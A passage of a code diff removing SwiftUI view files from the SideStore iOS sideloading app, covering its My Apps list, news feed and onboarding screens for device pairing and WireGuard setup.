|
||||
var updates: FetchedResults<InstalledApp>
|
||||
|
||||
|
||||
@SwiftUI.FetchRequest(sortDescriptors: [
|
||||
NSSortDescriptor(keyPath: \InstalledApp.expirationDate, ascending: true),
|
||||
NSSortDescriptor(keyPath: \InstalledApp.refreshedDate, ascending: false),
|
||||
NSSortDescriptor(keyPath: \InstalledApp.name, ascending: true)
|
||||
], predicate: NSPredicate(format: "%K == YES", #keyPath(InstalledApp.isActive)))
|
||||
var activeApps: FetchedResults<InstalledApp>
|
||||
|
||||
@AppStorage("shouldShowAppUpdateHint")
|
||||
var shouldShowAppUpdateHint: Bool = true
|
||||
|
||||
@ObservedObject
|
||||
var viewModel = MyAppsViewModel()
|
||||
|
||||
// TODO: Refactor
|
||||
@State var isRefreshingAllApps: Bool = false
|
||||
@State var selectedSideloadingIpaURL: URL?
|
||||
|
||||
var remainingAppIDs: Int {
|
||||
guard let team = DatabaseManager.shared.activeTeam() else {
|
||||
return 0
|
||||
}
|
||||
|
||||
let maximumAppIDCount = 10
|
||||
return max(maximumAppIDCount - team.appIDs.count, 0)
|
||||
}
|
||||
|
||||
// TODO: Refactor
|
||||
let sideloadFileTypes: [String] = {
|
||||
if let types = UTTypeCreateAllIdentifiersForTag(kUTTagClassFilenameExtension, "ipa" as CFString, nil)?.takeRetainedValue()
|
||||
{
|
||||
return (types as NSArray).map { $0 as! String }
|
||||
}
|
||||
else
|
||||
{
|
||||
return ["com.apple.itunes.ipa"] // Declared by the system.
|
||||
}
|
||||
}()
|
||||
|
||||
|
||||
var body: some View {
|
||||
ScrollView {
|
||||
LazyVStack(spacing: 16) {
|
||||
if let progress = SideloadingManager.shared.progress {
|
||||
VStack {
|
||||
Text(L10n.MyAppsView.sideloading)
|
||||
.padding()
|
||||
|
||||
ProgressView(progress)
|
||||
.progressViewStyle(LinearProgressViewStyle())
|
||||
}
|
||||
.background(Color(UIColor.secondarySystemBackground))
|
||||
}
|
||||
|
||||
if updates.isEmpty {
|
||||
if shouldShowAppUpdateHint {
|
||||
updatesSection
|
||||
}
|
||||
}
|
||||
|
||||
HStack {
|
||||
Text(L10n.MyAppsView.active)
|
||||
.font(.title2)
|
||||
.bold()
|
||||
|
||||
Spacer()
|
||||
|
||||
if !self.isRefreshingAllApps {
|
||||
SwiftUI.Button(L10n.MyAppsView.refreshAll, action: self.refreshAllApps)
|
||||
} else {
|
||||
ProgressView()
|
||||
.progressViewStyle(CircularProgressViewStyle())
|
||||
}
|
||||
}
|
||||
|
||||
ForEach(activeApps, id: \.bundleIdentifier) { app in
|
||||
|
||||
if let storeApp = app.storeApp {
|
||||
NavigationLink {
|
||||
AppDetailView(storeApp: storeApp)
|
||||
} label: {
|
||||
self.rowView(for: app)
|
||||
}
|
||||
.buttonStyle(PlainButtonStyle())
|
||||
} else {
|
||||
self.rowView(for: app)
|
||||
}
|
||||
}
|
||||
|
||||
if let activeTeam = DatabaseManager.shared.activeTeam() {
|
||||
VStack {
|
||||
if activeTeam.type == .free {
|
||||
Text("\(remainingAppIDs) \(L10n.MyAppsView.appIDsRemaining)")
|
||||
.foregroundColor(.secondary)
|
||||
}
|
||||
|
||||
ModalNavigationLink(L10n.MyAppsView.viewAppIDs) {
|
||||
NavigationView {
|
||||
AppIDsView()
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
.padding(.horizontal)
|
||||
}
|
||||
.background(Color(UIColor.systemGroupedBackground).ignoresSafeArea())
|
||||
.navigationTitle(L10n.MyAppsView.myApps)
|
||||
.toolbar {
|
||||
ToolbarItem(placement: .navigationBarLeading) {
|
||||
ModalNavigationLink {
|
||||
DocumentPicker(selectedUrl: $selectedSideloadingIpaURL, supportedTypes: sideloadFileTypes)
|
||||
.ignoresSafeArea()
|
||||
} label: {
|
||||
Image(systemSymbol: .plus)
|
||||
.imageScale(.large)
|
||||
}
|
||||
.onChange(of: self.selectedSideloadingIpaURL) { newValue in
|
||||
guard let url = newValue else {
|
||||
return
|
||||
}
|
||||
|
||||
self.sideloadApp(at: url)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
var updatesSection: some View {
|
||||
HintView {
|
||||
HStack(alignment: .center) {
|
||||
Text(L10n.MyAppsView.Hints.NoUpdates.title)
|
||||
.bold()
|
||||
Spacer()
|
||||
|
||||
Menu {
|
||||
SwiftUI.Button {
|
||||
self.dismissUpdatesHint(forever: false)
|
||||
} label: {
|
||||
Label(L10n.MyAppsView.Hints.NoUpdates.dismissForNow, systemSymbol: .zzz)
|
||||
}
|
||||
|
||||
SwiftUI.Button {
|
||||
self.dismissUpdatesHint(forever: true)
|
||||
} label: {
|
||||
Label(L10n.MyAppsView.Hints.NoUpdates.dontShowAgain, systemSymbol: .xmark)
|
||||
}
|
||||
} label: {
|
||||
Image(systemSymbol: .xmark)
|
||||
}
|
||||
.foregroundColor(.secondary)
|
||||
}
|
||||
|
||||
Text(L10n.MyAppsView.Hints.NoUpdates.text)
|
||||
.font(.callout)
|
||||
.foregroundColor(.secondary)
|
||||
}
|
||||
}
|
||||
|
||||
@ViewBuilder
|
||||
func rowView(for app: AppProtocol) -> some View {
|
||||
AppRowView(app: app, showRemainingDays: true)
|
||||
.contextMenu(ContextMenu(menuItems: {
|
||||
ForEach(self.actions(for: app), id: \.self) { action in
|
||||
SwiftUI.Button {
|
||||
self.perform(action: action, for: app)
|
||||
} label: {
|
||||
Label(action.title, systemSymbol: action.symbol)
|
||||
}
|
||||
}
|
||||
}))
|
||||
}
|
||||
|
||||
func refreshAllApps() {
|
||||
let installedApps = InstalledApp.fetchAppsForRefreshingAll(in: DatabaseManager.shared.viewContext)
|
||||
|
||||
self.isRefreshingAllApps = true
|
||||
self.refresh(installedApps) { result in
|
||||
self.isRefreshingAllApps = false
|
||||
}
|
||||
}
|
||||
|
||||
func dismissUpdatesHint(forever: Bool) {
|
||||
withAnimation {
|
||||
self.shouldShowAppUpdateHint = false
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
extension MyAppsView {
|
||||
// TODO: Convert to async?
|
||||
func refresh(_ apps: [InstalledApp], completionHandler: @escaping ([String : Result<InstalledApp, Error>]) -> Void) {
|
||||
let group = AppManager.shared.refresh(apps, presentingViewController: nil, group: self.viewModel.refreshGroup)
|
||||
|
||||
group.completionHandler = { results in
|
||||
DispatchQueue.main.async {
|
||||
let failures = results.compactMapValues { result -> Error? in
|
||||
switch result {
|
||||
case .failure(OperationError.cancelled):
|
||||
return nil
|
||||
case .failure(let error):
|
||||
return error
|
||||
case .success:
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
guard !failures.isEmpty else { return }
|
||||
|
||||
if let failure = failures.first, results.count == 1 {
|
||||
NotificationManager.shared.reportError(error: failure.value)
|
||||
} else {
|
||||
// TODO: Localize
|
||||
let title = "\(L10n.MyAppsView.failedToRefresh) \(failures.count) \(L10n.MyAppsView.apps)"
|
||||
|
||||
let error = failures.first?.value as NSError?
|
||||
let message = error?.localizedFailure ?? error?.localizedFailureReason ?? error?.localizedDescription
|
||||
|
||||
NotificationManager.shared.showNotification(title: title, detailText: message)
|
||||
}
|
||||
|
||||
self.viewModel.refreshGroup = nil
|
||||
completionHandler(results)
|
||||
}
|
||||
}
|
||||
|
||||
self.viewModel.refreshGroup = group
|
||||
}
|
||||
}
|
||||
|
||||
extension MyAppsView {
|
||||
func actions(for app: AppProtocol) -> [AppAction] {
|
||||
guard let installedApp = app as? InstalledApp else {
|
||||
return []
|
||||
}
|
||||
|
||||
guard installedApp.bundleIdentifier != StoreApp.altstoreAppID else {
|
||||
return [.refresh]
|
||||
}
|
||||
|
||||
var actions: [AppAction] = []
|
||||
|
||||
if installedApp.isActive {
|
||||
actions.append(.open)
|
||||
actions.append(.refresh)
|
||||
actions.append(.enableJIT)
|
||||
} else {
|
||||
actions.append(.activate)
|
||||
}
|
||||
|
||||
actions.append(.chooseCustomIcon)
|
||||
if installedApp.hasAlternateIcon {
|
||||
actions.append(.resetCustomIcon)
|
||||
}
|
||||
|
||||
if installedApp.isActive {
|
||||
actions.append(.backup)
|
||||
} else if let _ = UTTypeCopyDeclaration(installedApp.installedAppUTI as CFString)?.takeRetainedValue() as NSDictionary?, !UserDefaults.standard.isLegacyDeactivationSupported {
|
||||
// Allow backing up inactive apps if they are still installed,
|
||||
// but on an iOS version that no longer supports legacy deactivation.
|
||||
// This handles edge case where you can't install more apps until you
|
||||
// delete some, but can't activate inactive apps again to back them up first.
|
||||
actions.append(.backup)
|
||||
}
|
||||
|
||||
if let backupDirectoryURL = FileManager.default.backupDirectoryURL(for: installedApp) {
|
||||
|
||||
// TODO: Refactor
|
||||
var backupExists = false
|
||||
var outError: NSError? = nil
|
||||
|
||||
let coordinator = NSFileCoordinator()
|
||||
coordinator.coordinate(readingItemAt: backupDirectoryURL, options: [.withoutChanges], error: &outError) { (backupDirectoryURL) in
|
||||
backupExists = FileManager.default.fileExists(atPath: backupDirectoryURL.path)
|
||||
}
|
||||
|
||||
if backupExists {
|
||||
actions.append(.exportBackup)
|
||||
|
||||
if installedApp.isActive {
|
||||
actions.append(.restoreBackup)
|
||||
}
|
||||
} else if let error = outError {
|
||||
print("Unable to check if backup exists:", error)
|
||||
}
|
||||
}
|
||||
|
||||
if installedApp.isActive {
|
||||
actions.append(.deactivate)
|
||||
}
|
||||
|
||||
if installedApp.bundleIdentifier != StoreApp.altstoreAppID {
|
||||
actions.append(.remove)
|
||||
}
|
||||
|
||||
return actions
|
||||
}
|
||||
|
||||
func perform(action: AppAction, for app: AppProtocol) {
|
||||
guard let installedApp = app as? InstalledApp else {
|
||||
// Invalid state.
|
||||
return
|
||||
}
|
||||
|
||||
switch action {
|
||||
case .install: break
|
||||
case .open: self.open(installedApp)
|
||||
case .refresh: self.refresh(installedApp)
|
||||
case .activate: self.activate(installedApp)
|
||||
case .deactivate: self.deactivate(installedApp)
|
||||
case .remove: self.remove(installedApp)
|
||||
case .enableJIT: self.enableJIT(for: installedApp)
|
||||
case .backup: self.backup(installedApp)
|
||||
case .exportBackup: self.exportBackup(installedApp)
|
||||
case .restoreBackup: self.restoreBackup(installedApp)
|
||||
case .chooseCustomIcon: self.chooseIcon(for: installedApp)
|
||||
case .resetCustomIcon: self.resetIcon(for: installedApp)
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
func open(_ app: InstalledApp) {
|
||||
UIApplication.shared.open(app.openAppURL) { success in
|
||||
guard !success else { return }
|
||||
|
||||
NotificationManager.shared.reportError(error: OperationError.openAppFailed(name: app.name))
|
||||
}
|
||||
}
|
||||
|
||||
func refresh(_ app: InstalledApp) {
|
||||
let previousProgress = AppManager.shared.refreshProgress(for: app)
|
||||
guard previousProgress == nil else {
|
||||
previousProgress?.cancel()
|
||||
return
|
||||
}
|
||||
|
||||
self.refresh([app]) { (results) in
|
||||
print("Finished refreshing with results:", results.map { ($0, $1.error?.localizedDescription ?? "success") })
|
||||
}
|
||||
}
|
||||
|
||||
func activate(_ app: InstalledApp) {
|
||||
|
||||
}
|
||||
|
||||
func deactivate(_ app: InstalledApp) {
|
||||
|
||||
}
|
||||
|
||||
func remove(_ app: InstalledApp) {
|
||||
|
||||
}
|
||||
|
||||
func enableJIT(for app: InstalledApp) {
|
||||
AppManager.shared.enableJIT(for: app) { result in
|
||||
switch result {
|
||||
case .success:
|
||||
break
|
||||
case .failure(let error):
|
||||
NotificationManager.shared.reportError(error: error)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func backup(_ app: InstalledApp) {
|
||||
|
||||
}
|
||||
|
||||
func exportBackup(_ app: InstalledApp) {
|
||||
|
||||
}
|
||||
|
||||
func restoreBackup(_ app: InstalledApp) {
|
||||
|
||||
}
|
||||
|
||||
func chooseIcon(for app: InstalledApp) {
|
||||
|
||||
}
|
||||
|
||||
func resetIcon(for app: InstalledApp) {
|
||||
|
||||
}
|
||||
|
||||
func setIcon(for app: InstalledApp, to image: UIImage? = nil) {
|
||||
|
||||
}
|
||||
|
||||
func sideloadApp(at url: URL) {
|
||||
SideloadingManager.shared.sideloadApp(at: url) { result in
|
||||
switch result {
|
||||
case .success:
|
||||
print("App sideloaded successfully.")
|
||||
case .failure(let error):
|
||||
print("Failed to sideload app: \(error.localizedDescription)")
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
struct MyAppsView_Previews: PreviewProvider {
|
||||
|
||||
static let context = DatabaseManager.shared.viewContext
|
||||
static let app = StoreApp.makeAltStoreApp(in: context)
|
||||
|
||||
static var previews: some View {
|
||||
NavigationView {
|
||||
MyAppsView()
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,16 +0,0 @@
|
||||
//
|
||||
// MyAppsViewModel.swift
|
||||
// SideStore
|
||||
//
|
||||
// Created by Fabian Thies on 13.12.22.
|
||||
// Copyright © 2022 SideStore. All rights reserved.
|
||||
//
|
||||
|
||||
import SwiftUI
|
||||
import AltStoreCore
|
||||
|
||||
class MyAppsViewModel: ViewModel {
|
||||
|
||||
var refreshGroup: RefreshGroup?
|
||||
|
||||
}
|
||||
@@ -1,129 +0,0 @@
|
||||
//
|
||||
// NewsItemView.swift
|
||||
// SideStoreUI
|
||||
//
|
||||
// Created by Fabian Thies on 18.11.22.
|
||||
// Copyright © 2022 Fabian Thies. All rights reserved.
|
||||
//
|
||||
|
||||
import SwiftUI
|
||||
import AsyncImage
|
||||
import AltStoreCore
|
||||
|
||||
struct NewsItemView: View {
|
||||
typealias TapHandler<T> = (T) -> Void
|
||||
|
||||
let newsItem: NewsItem
|
||||
|
||||
private var newsSelectionHandler: TapHandler<NewsItem>? = nil
|
||||
private var appSelectionHandler: TapHandler<StoreApp>? = nil
|
||||
|
||||
init(newsItem: NewsItem) {
|
||||
self.newsItem = newsItem
|
||||
}
|
||||
|
||||
var body: some View {
|
||||
VStack(spacing: 12) {
|
||||
newsContent
|
||||
.onTapGesture {
|
||||
newsSelectionHandler?(newsItem)
|
||||
}
|
||||
|
||||
if let connectedApp = newsItem.storeApp {
|
||||
NavigationLink {
|
||||
AppDetailView(storeApp: connectedApp)
|
||||
} label: {
|
||||
AppRowView(app: connectedApp)
|
||||
}
|
||||
.buttonStyle(PlainButtonStyle())
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
var newsContent: some View {
|
||||
VStack(alignment: .leading, spacing: 12) {
|
||||
VStack(alignment: .leading, spacing: 12) {
|
||||
VStack(alignment: .leading) {
|
||||
Text(newsItem.title)
|
||||
.font(.title2)
|
||||
.bold()
|
||||
.foregroundColor(.white)
|
||||
|
||||
HStack(spacing: 0) {
|
||||
if let sourceName = newsItem.source?.name {
|
||||
Text(sourceName)
|
||||
.italic()
|
||||
}
|
||||
|
||||
if let externalURL = newsItem.externalURL {
|
||||
Text(" • ")
|
||||
|
||||
HStack(spacing: 0) {
|
||||
Image(systemSymbol: .link)
|
||||
Text(externalURL.host ?? "")
|
||||
.italic()
|
||||
}
|
||||
}
|
||||
}
|
||||
.font(.system(size: 14))
|
||||
.foregroundColor(.white.opacity(0.7))
|
||||
}
|
||||
|
||||
Text(newsItem.caption)
|
||||
.foregroundColor(.white.opacity(0.7))
|
||||
}
|
||||
.padding(24)
|
||||
|
||||
if let imageUrl = newsItem.imageURL {
|
||||
AsyncImage(url: imageUrl) { image in
|
||||
image
|
||||
.resizable()
|
||||
.aspectRatio(contentMode: .fit)
|
||||
} placeholder: {
|
||||
Color.secondary
|
||||
.frame(maxWidth: .infinity, maxHeight: 100)
|
||||
}
|
||||
}
|
||||
}
|
||||
.frame(
|
||||
maxWidth: .infinity,
|
||||
alignment: .topLeading
|
||||
)
|
||||
.background(Color(newsItem.tintColor))
|
||||
.clipShape(RoundedRectangle(cornerRadius: 24, style: .circular))
|
||||
}
|
||||
|
||||
|
||||
func onNewsSelection(_ handler: @escaping TapHandler<NewsItem>) -> Self {
|
||||
var newSelf = self
|
||||
newSelf.newsSelectionHandler = handler
|
||||
return newSelf
|
||||
}
|
||||
|
||||
func onAppSelection(_ handler: @escaping TapHandler<StoreApp>) -> Self {
|
||||
var newSelf = self
|
||||
newSelf.appSelectionHandler = handler
|
||||
return newSelf
|
||||
}
|
||||
}
|
||||
|
||||
extension URL: Identifiable {
|
||||
public var id: String {
|
||||
return self.absoluteString
|
||||
}
|
||||
}
|
||||
|
||||
//struct NewsItemView_Previews: PreviewProvider {
|
||||
// static var previews: some View {
|
||||
// NewsItemView()
|
||||
// }
|
||||
//}
|
||||
|
||||
|
||||
extension NewsItemView: Equatable {
|
||||
/// Prevent re-rendering of the view if the parameters didn't change
|
||||
static func == (lhs: NewsItemView, rhs: NewsItemView) -> Bool {
|
||||
lhs.newsItem.identifier == rhs.newsItem.identifier
|
||||
}
|
||||
}
|
||||
@@ -1,97 +0,0 @@
|
||||
//
|
||||
// NewsView.swift
|
||||
// SideStoreUI
|
||||
//
|
||||
// Created by Fabian Thies on 18.11.22.
|
||||
// Copyright © 2022 Fabian Thies. All rights reserved.
|
||||
//
|
||||
|
||||
import SwiftUI
|
||||
import AltStoreCore
|
||||
|
||||
struct NewsView: View {
|
||||
|
||||
@SwiftUI.FetchRequest(sortDescriptors: [
|
||||
NSSortDescriptor(keyPath: \NewsItem.date, ascending: false),
|
||||
NSSortDescriptor(keyPath: \NewsItem.sortIndex, ascending: true),
|
||||
NSSortDescriptor(keyPath: \NewsItem.sourceIdentifier, ascending: true)
|
||||
])
|
||||
var news: FetchedResults<NewsItem>
|
||||
|
||||
@State
|
||||
var activeExternalUrl: URL?
|
||||
|
||||
@State
|
||||
var selectedStoreApp: StoreApp?
|
||||
|
||||
var body: some View {
|
||||
ScrollView {
|
||||
self.announcementsCarousel
|
||||
|
||||
VStack(alignment: .leading) {
|
||||
Text(L10n.NewsView.Section.FromSources.title)
|
||||
.font(.title2)
|
||||
.bold()
|
||||
|
||||
LazyVStack(spacing: 24) {
|
||||
ForEach(news, id: \.objectID) { newsItem in
|
||||
NewsItemView(newsItem: newsItem)
|
||||
.onNewsSelection { newsItem in
|
||||
self.activeExternalUrl = newsItem.externalURL
|
||||
}
|
||||
.frame(
|
||||
maxWidth: .infinity,
|
||||
alignment: .topLeading
|
||||
)
|
||||
}
|
||||
}
|
||||
}
|
||||
.padding()
|
||||
}
|
||||
.background(Color(UIColor.systemGroupedBackground).ignoresSafeArea())
|
||||
.navigationTitle(L10n.NewsView.title)
|
||||
.sheet(item: self.$activeExternalUrl) { url in
|
||||
SafariView(url: url)
|
||||
.ignoresSafeArea()
|
||||
}
|
||||
.onAppear(perform: fetchNews)
|
||||
}
|
||||
|
||||
var announcementsCarousel: some View {
|
||||
TabView {
|
||||
ForEach(0..<5) { _ in
|
||||
RoundedRectangle(cornerRadius: 10)
|
||||
.foregroundColor(.secondary)
|
||||
.shadow(radius: 5, y: 3)
|
||||
.padding()
|
||||
}
|
||||
}
|
||||
.tabViewStyle(PageTabViewStyle())
|
||||
.frame(maxWidth: .infinity)
|
||||
.aspectRatio(16/9, contentMode: .fit)
|
||||
}
|
||||
|
||||
|
||||
func fetchNews() {
|
||||
AppManager.shared.fetchSources { result in
|
||||
do {
|
||||
do {
|
||||
let (_, context) = try result.get()
|
||||
try context.save()
|
||||
} catch let error as AppManager.FetchSourcesError {
|
||||
try error.managedObjectContext?.save()
|
||||
throw error
|
||||
}
|
||||
} catch {
|
||||
print(error)
|
||||
NotificationManager.shared.reportError(error: error)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
struct NewsView_Previews: PreviewProvider {
|
||||
static var previews: some View {
|
||||
NewsView()
|
||||
}
|
||||
}
|
||||
@@ -1,22 +0,0 @@
|
||||
//
|
||||
// NewsViewModel.swift
|
||||
// SideStoreUI
|
||||
//
|
||||
// Created by Fabian Thies on 18.11.22.
|
||||
// Copyright © 2022 Fabian Thies. All rights reserved.
|
||||
//
|
||||
|
||||
import SwiftUI
|
||||
import AltStoreCore
|
||||
|
||||
class NewsViewModel: ViewModel {
|
||||
|
||||
@SwiftUI.FetchRequest(sortDescriptors: [
|
||||
NSSortDescriptor(keyPath: \NewsItem.date, ascending: false),
|
||||
NSSortDescriptor(keyPath: \NewsItem.sortIndex, ascending: true),
|
||||
NSSortDescriptor(keyPath: \NewsItem.sourceIdentifier, ascending: true)
|
||||
])
|
||||
var news: FetchedResults<NewsItem>
|
||||
|
||||
init() {}
|
||||
}
|
||||
@@ -1,89 +0,0 @@
|
||||
//
|
||||
// AppIconsShowcase.swift
|
||||
// SideStore
|
||||
//
|
||||
// Created by Fabian Thies on 25.02.23.
|
||||
// Copyright © 2023 SideStore. All rights reserved.
|
||||
//
|
||||
|
||||
import SwiftUI
|
||||
|
||||
struct AppIconsShowcase: View {
|
||||
|
||||
@State var animationProgress = 0.0
|
||||
@State var animation2Progress = 0.0
|
||||
|
||||
var body: some View {
|
||||
VStack {
|
||||
GeometryReader { proxy in
|
||||
ZStack(alignment: .bottom) {
|
||||
Image(uiImage: UIImage(named: "AppIcon")!)
|
||||
.resizable()
|
||||
.aspectRatio(contentMode: .fit)
|
||||
.frame(height: 0.2 * proxy.size.width)
|
||||
.clipShape(RoundedRectangle(cornerRadius: 24, style: .circular))
|
||||
.offset(x: -0.3*proxy.size.width * self.animationProgress, y: -30)
|
||||
.rotationEffect(.degrees(-20 * self.animationProgress))
|
||||
.shadow(radius: 8 * self.animationProgress)
|
||||
|
||||
Image(uiImage: UIImage(named: "AppIcon")!)
|
||||
.resizable()
|
||||
.aspectRatio(contentMode: .fit)
|
||||
.frame(height: 0.25 * proxy.size.width)
|
||||
.clipShape(RoundedRectangle(cornerRadius: 24, style: .circular))
|
||||
.offset(x: -0.15*proxy.size.width * self.animationProgress, y: -10)
|
||||
.rotationEffect(.degrees(-10 * self.animationProgress))
|
||||
.shadow(radius: 12 * self.animationProgress)
|
||||
|
||||
Image(uiImage: UIImage(named: "AppIcon")!)
|
||||
.resizable()
|
||||
.aspectRatio(contentMode: .fit)
|
||||
.frame(height: 0.2 * proxy.size.width)
|
||||
.clipShape(RoundedRectangle(cornerRadius: 24, style: .circular))
|
||||
.offset(x: self.animationProgress*0.3*proxy.size.width, y: -30)
|
||||
.rotationEffect(.degrees(self.animationProgress*20))
|
||||
.shadow(radius: 8 * self.animationProgress)
|
||||
|
||||
Image(uiImage: UIImage(named: "AppIcon")!)
|
||||
.resizable()
|
||||
.aspectRatio(contentMode: .fit)
|
||||
.frame(height: 0.25 * proxy.size.width)
|
||||
.clipShape(RoundedRectangle(cornerRadius: 24, style: .circular))
|
||||
.offset(x: self.animationProgress * 0.15*proxy.size.width, y: -10)
|
||||
.rotationEffect(.degrees(self.animationProgress * 10))
|
||||
.shadow(radius: 12 * self.animationProgress)
|
||||
|
||||
Image(uiImage: UIImage(named: "AppIcon")!)
|
||||
.resizable()
|
||||
.aspectRatio(contentMode: .fit)
|
||||
.frame(height: 0.3 * proxy.size.width)
|
||||
.clipShape(RoundedRectangle(cornerRadius: 24, style: .circular))
|
||||
.shadow(radius: 16 * self.animationProgress + 8 * self.animation2Progress)
|
||||
.scaleEffect(1.0 + 0.05 * self.animation2Progress)
|
||||
}
|
||||
.frame(maxWidth: proxy.size.width)
|
||||
}
|
||||
}
|
||||
.onAppear {
|
||||
DispatchQueue.main.asyncAfter(deadline: .now() + 0.5) {
|
||||
withAnimation(.spring()) {
|
||||
self.animationProgress = 1.0
|
||||
self.animation2Progress = 1.0
|
||||
}
|
||||
|
||||
DispatchQueue.main.asyncAfter(deadline: .now() + 0.25) {
|
||||
withAnimation(.spring()) {
|
||||
self.animation2Progress = 0.0
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
struct AppIconsShowcase_Previews: PreviewProvider {
|
||||
static var previews: some View {
|
||||
AppIconsShowcase()
|
||||
.frame(height: 150)
|
||||
}
|
||||
}
|
||||
@@ -1,71 +0,0 @@
|
||||
//
|
||||
// OnboardingStepView.swift
|
||||
// SideStore
|
||||
//
|
||||
// Created by Fabian Thies on 25.02.23.
|
||||
// Copyright © 2023 SideStore. All rights reserved.
|
||||
//
|
||||
|
||||
import SwiftUI
|
||||
|
||||
|
||||
struct OnboardingStepView<Title: View, Hero: View, Content: View, Action: View>: View {
|
||||
|
||||
@ViewBuilder
|
||||
var title: Title
|
||||
|
||||
@ViewBuilder
|
||||
var hero: Hero
|
||||
|
||||
@ViewBuilder
|
||||
var content: Content
|
||||
|
||||
@ViewBuilder
|
||||
var action: Action
|
||||
|
||||
var body: some View {
|
||||
VStack(spacing: 64) {
|
||||
self.title
|
||||
.font(.largeTitle.weight(.bold))
|
||||
.frame(maxWidth: .infinity, alignment: .leading)
|
||||
|
||||
self.hero
|
||||
.frame(height: 150)
|
||||
|
||||
self.content
|
||||
.frame(maxWidth: .infinity, alignment: .leading)
|
||||
|
||||
Spacer()
|
||||
|
||||
self.action
|
||||
}
|
||||
.frame(maxWidth: .infinity)
|
||||
.padding()
|
||||
}
|
||||
}
|
||||
|
||||
struct OnboardingStepView_Previews: PreviewProvider {
|
||||
static var previews: some View {
|
||||
OnboardingStepView(title: {
|
||||
VStack(alignment: .leading) {
|
||||
Text("Welcome to")
|
||||
Text("SideStore")
|
||||
.foregroundColor(.accentColor)
|
||||
}
|
||||
}, hero: {
|
||||
AppIconsShowcase()
|
||||
}, content: {
|
||||
VStack(spacing: 16) {
|
||||
Text("Before you can start sideloading apps, there is some setup to do.")
|
||||
Text("The following setup will guide you through the steps one by one.")
|
||||
Text("You will need a computer (Windows, macOS, Linux) and your Apple ID.")
|
||||
}
|
||||
}, action: {
|
||||
SwiftUI.Button("Continue") {
|
||||
|
||||
}
|
||||
.buttonStyle(FilledButtonStyle())
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,454 +0,0 @@
|
||||
//
|
||||
// OnboardingView.swift
|
||||
// SideStore
|
||||
//
|
||||
// Created by Fabian Thies on 25.02.23.
|
||||
// Copyright © 2023 SideStore. All rights reserved.
|
||||
//
|
||||
|
||||
import SwiftUI
|
||||
import CoreData
|
||||
import AltStoreCore
|
||||
import minimuxer
|
||||
import Reachability
|
||||
import UniformTypeIdentifiers
|
||||
|
||||
|
||||
enum OnboardingStep: Int, CaseIterable {
|
||||
case welcome, pairing, wireguard, wireguardConfig, addSources, finish
|
||||
}
|
||||
|
||||
struct OnboardingView: View {
|
||||
|
||||
@Environment(\.dismiss) var dismiss
|
||||
|
||||
// Temporary workaround for UIKit compatibility
|
||||
var onDismiss: (() -> Void)? = nil
|
||||
|
||||
var enabledSteps = OnboardingStep.allCases
|
||||
@State private var currentStep: OnboardingStep = .welcome
|
||||
@State private var pairingFileURL: URL? = nil
|
||||
@State private var isWireGuardAppStorePageVisible: Bool = false
|
||||
@State private var isDownloadingWireGuardProfile: Bool = false
|
||||
@State private var wireGuardProfileFileURL: URL? = nil
|
||||
@State private var reachabilityNotifier: Reachability? = nil
|
||||
@State private var isWireGuardTunnelReachable: Bool = false
|
||||
@State private var areTrustedSourcesEnabled: Bool = false
|
||||
@State private var isLoadingTrustedSources: Bool = false
|
||||
|
||||
let pairingFileTypes = UTType.types(tag: "plist", tagClass: UTTagClass.filenameExtension, conformingTo: nil) + UTType.types(tag: "mobiledevicepairing", tagClass: UTTagClass.filenameExtension, conformingTo: UTType.data) + [.xml]
|
||||
|
||||
var body: some View {
|
||||
TabView(selection: self.$currentStep) {
|
||||
ForEach(self.enabledSteps, id: \.self) { step in
|
||||
self.viewForStep(step)
|
||||
.tag(step)
|
||||
// Hack to disable horizontal scrolling in onboarding screens
|
||||
.background(
|
||||
Color.black
|
||||
.opacity(0.001)
|
||||
.edgesIgnoringSafeArea(.all)
|
||||
)
|
||||
.highPriorityGesture(DragGesture())
|
||||
}
|
||||
}
|
||||
.tabViewStyle(PageTabViewStyle(indexDisplayMode: .never))
|
||||
.edgesIgnoringSafeArea(.bottom)
|
||||
.background(
|
||||
Color.accentColor
|
||||
.opacity(0.1)
|
||||
.edgesIgnoringSafeArea(.all)
|
||||
)
|
||||
.onChange(of: self.currentStep) { step in
|
||||
switch step {
|
||||
case .wireguardConfig:
|
||||
self.startPingingWireGuardTunnel()
|
||||
default:
|
||||
self.stopPingingWireGuardTunnel()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
var welcomeStep: some View {
|
||||
OnboardingStepView {
|
||||
VStack(alignment: .leading) {
|
||||
Text("Welcome to")
|
||||
Text("SideStore")
|
||||
.foregroundColor(.accentColor)
|
||||
}
|
||||
} hero: {
|
||||
AppIconsShowcase()
|
||||
} content: {
|
||||
VStack(alignment: .leading, spacing: 16) {
|
||||
Text("Before you can start sideloading apps, there is some setup to do.")
|
||||
Text("The following setup will guide you through the steps one by one.")
|
||||
Text("You will need a computer (Windows, macOS, Linux) and your Apple ID.")
|
||||
}
|
||||
} action: {
|
||||
SwiftUI.Button("Continue") {
|
||||
self.showNextStep()
|
||||
}
|
||||
.buttonStyle(FilledButtonStyle())
|
||||
}
|
||||
}
|
||||
|
||||
var pairingView: some View {
|
||||
OnboardingStepView(title: {
|
||||
VStack(alignment: .leading) {
|
||||
Text("Pair your Device")
|
||||
}
|
||||
}, hero: {
|
||||
Image(systemSymbol: .link)
|
||||
.resizable()
|
||||
.aspectRatio(contentMode: .fit)
|
||||
.foregroundColor(.accentColor)
|
||||
.shadow(color: .accentColor.opacity(0.8), radius: 12)
|
||||
}, content: {
|
||||
VStack(alignment: .leading, spacing: 16) {
|
||||
Text("SideStore supports on-device sideloading even on non-jailbroken devices.")
|
||||
Text("For it to work, you have to generate a pairing file as described [here in our documentation](https://wiki.sidestore.io/guides/install#pairing-process).")
|
||||
Text("Once you have the `<UUID>.mobiledevicepairing`, import it using the button below.")
|
||||
